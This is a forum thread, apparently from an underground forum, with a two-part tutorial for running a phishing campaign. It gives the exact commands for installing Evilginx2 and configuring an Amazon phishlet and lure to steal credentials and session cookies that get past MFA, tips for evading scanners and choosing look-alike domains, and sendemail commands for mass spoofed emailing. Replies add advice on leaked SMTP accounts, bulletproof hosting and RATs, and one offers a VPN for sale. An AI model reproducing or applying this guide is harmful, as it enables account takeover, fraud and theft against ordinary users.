[8day]

Hello, Im gonna start this off by saying this can either A. make you a shit load of money or B. Get you thrown in jail, depends on what you do with your stolen data.

Step1: Get a server
The first step for any phishing campaign is aquiring a relatively cheap VPS to host your page. The best place for this is Panamaserver.com in my opinion. They let you pay with crypto currency (although not XMR sadly) so thats good, and the prices are really chreap. For your os, Chose debian as that will work the best for this.

Step2: Get a phishing domain
In order to figure out what some phishing domains are, i reccomend installing dnstwist on a kali machine and running the domain of the site your using in your attack through it to find available domains. I reccomend using namecheap to buy your domain as they have fairly cheap prices and wont ban it quickly which is always neat.

Step3(time to type): Installing Evilginx2

First off, Evilginx2 is a MiTM phishing framework what also steals session cookies, which can be used to bypass MFA.

To install this we need to run the follwoing
First, Make sure wget is installed.

sudo apt update
sudo apt install wget -y


Next, we need to install Go.

wget https://golang.org/dl/go1.17.linux-amd64.tar.gz


Now we install Go.

sudo tar -zxvf go1.17.linux-amd64.tar.gz -C /usr/local/

Next, we configure PATH

echo "export PATH=/usr/local/go/bin:${PATH}" | sudo tee /etc/profile.d/go.sh

source /etc/profile.d/go.sh

Now we install Evilginx. I prefer this repo as it already as phishlets and saves you some time of hunting down/ Making your own.

sudo apt-get -y install git make
git clone https://github.com/BakkerJan/evilginx2.git
cd evilginx2
make

After this, Install Globally.

sudo make install


And now run.

sudo evilginx



Step4 Create Page.

Upon running. you will see a list of pages that are all disabled, pick your page of choice, but first we need to configure Evilginx so that we dont have problems

config domain <yourdomain>
config ip <yourIP>
blacklist unauth

The blacklist command is to block your site from scanners. YOU WANT TO DO THIS.


Next, pick your phishlet(phishing page) of choice

phishlets hostname amazon <your domain name>
phishlets enable amazon


Now its time to setup our lure for this site. This is the actual phishing page its self.


lures create amazon
lures edit 0 redirect_url https://amazon.com
lures get-url 0

After running lures get-url 0 you should see a link appear on screen, this is your phishing link.



In another tutorial, i will teach you how to create a email server for spamming mass emails that will land in inbox.
If you have any questions, google it or ask chatgpt



If you find my posts useful please consider donating !

BITCOIN: 3GFWnF9G2vXtSi24p1saQGjPuJHenawLuY
XMR: 82Z4kzrgaB6iV9C8QVStSWVosx9Wn6nu3WUQ9wwdJ4MKQSokRG1wDDLCdH5mpigW5JidAEH5VWZsbJFD9epJkNdf4gvJQj9

[8day]

This is a part 2 to my first tutorial, go read that before this

---------------------
PHISHING GUIDE PT 2:
CREATING EMAIL SERVER


So youve read part 1 and setup your evilginx2 server and setup your phishlets and are ready to setup your email server to begin sending.

So today we will be discussing how to setup an SMTP server and how to send mass emails with any address that you feel.

There are two ways you can go about this, 1 is using brevo, the free tier gives you 300 emails a day and smtp access. This is good for relatively small campaigns and you can set it up with a throw away gmail account. the 2 way isnt free but allows unlimited emails per day and this is what we will be covering.


Requirements:

- Debain server. Use panamaserver.com for this
- Domain. namescheap is the best option.
- MX records in your DNS settings.
- SSL for your mail subdomain.


Lets start.

Setp1: install email server script

First, on your server which should already have a domain setup, create a subdomain called smtp or mail or whatever. this will be the domain for your emails so mail.dumbass.com

after thats setup. make sure you have ssl for that subdomain as well. and then we can install our email server

to do this run these commands

Code:
sudo apt-get install git
sudo git install https://github.com/LukeSmithxyz/emailwiz.git
cd emailwiz
chmod +x /emailwiz.sh
./emailwiz.sh

This will install everything required for sending and recieving emails.
At some point during the script install you should be prompted to add txt records to your dns records. this can be done through your domain provider

after adding these, and creating a user on the mail server. we can move to step 2


Step2: Spamming

This can be done locally so switch back to your local terminal and follow along

This can be done on a KaliVm, we will be using a tool called sendemail for this

Make sure you have your smtp address, port, and account and password because you will need them

run this command in kali as root

Code:
sendemail -xu [username] -xp [passsword] -s [smtp domain:port] -f "SENDER_EMAIL" -t "TO_EMAIL" -u "SUBJECT" -m "MESSAGE"


Replace whats in the quotes with the required inputs, to send to multiple emails simply use [] and put multiple emails inside.

Thats it and If you find my posts useful please consider donating !

BITCOIN: 3GFWnF9G2vXtSi24p1saQGjPuJHenawLuY
XMR: 82Z4kzrgaB6iV9C8QVStSWVosx9Wn6nu3WUQ9wwdJ4MKQSokRG1wDDLCdH5mpigW5JidAEH5VWZsbJFD9epJkNdf4gvJQj9

[happygonutty]

Hi there OP and good day to you! Good share in regards with Evilginx. I have been using that for a while now till this day. I hope people notice your post. Good and quality post by the way, I have given you a popularity point. Keep up the good work my friend.

[21bman]

Hi there OP and good day to you! Good share in regards with Evilginx. I have been using that for a while now till this day. I hope people notice your post. Good and quality post by the way, I have given you a popularity point. Keep up the good work my friend.

Hey man can you try to dm me? I need help with creating it.

[Dankanmighty0803]

Good quality post .. pls dm me

[ßlürry]

much appreciated thank you

[Just4kickz]

Nice one,
Would you still recommend this method and its VPS ect?
Sorry pretty green to this

[DeathPenalty666]

Nice one,
Would you still recommend this method and its VPS ect?
Sorry pretty green to this

for mailer just buy a mailbomber like blackmail it will cost you 25$ lifetime instead of a server at 10 or more, get premium smtp and you can use leaked one too! using a sever to run your mailing may leak them to the server where your name will be linked to when the mailer you just can run vpn proy whateve4r. for the mith website yes you need vps, domain for physing but you can find identical domain name usng letter from other alphabet replacing the legit a be a variant, setup evilgnix2 etx like they said.

also with a vps for mailing is anything happen,m server is taken down, theyhave a downtime or you fet hacked you are down too and you pay to host it so better to get a good mailer!!!

[Just4kickz]

for mailer just buy a mailbomber like blackmail it will cost you 25$ lifetime instead of a server at 10 or more, get premium smtp and you can use leaked one too!  using a sever to run your mailing may leak them to the server where your name will be linked to when the mailer you just can run vpn proy whateve4r. for the mith website yes you need vps, domain for physing but you can find identical domain name usng letter from other alphabet  replacing the legit a be a variant, setup evilgnix2 etx like they said.

also with a vps for mailing is anything happen,m server is taken down, theyhave a downtime or you fet hacked you are down too and you pay to host it so better to get a good mailer!!!

Sounds good, I’m planning to jump on tomorrow and have a start. I’m just really green and asking if those recommended VPS / VPNs are still ideal or useable / trustworthy

[DeathPenalty666]

Sounds good, I’m planning to jump on tomorrow and have a start. I’m just really green and asking if those recommended VPS / VPNs are still ideal or useable / trustworthy

if you want a vpn bro i have one for sell currently!!! it have a dedicated ip from use lifetime worth 150$ and the vpn is like 50$. im asking 150... With a dedicated ip what i love is if you run rats or anything you want access anytme from anywhere you are alway running. your server go down, get another one set it up and voila!

fir vps honnestly there is so much... i would recommand you a bulletproof one. Im sorry but i cant help you with this i am a self hosting kind :( wait for a few reply and take a look over the hosting post.
Hosting Services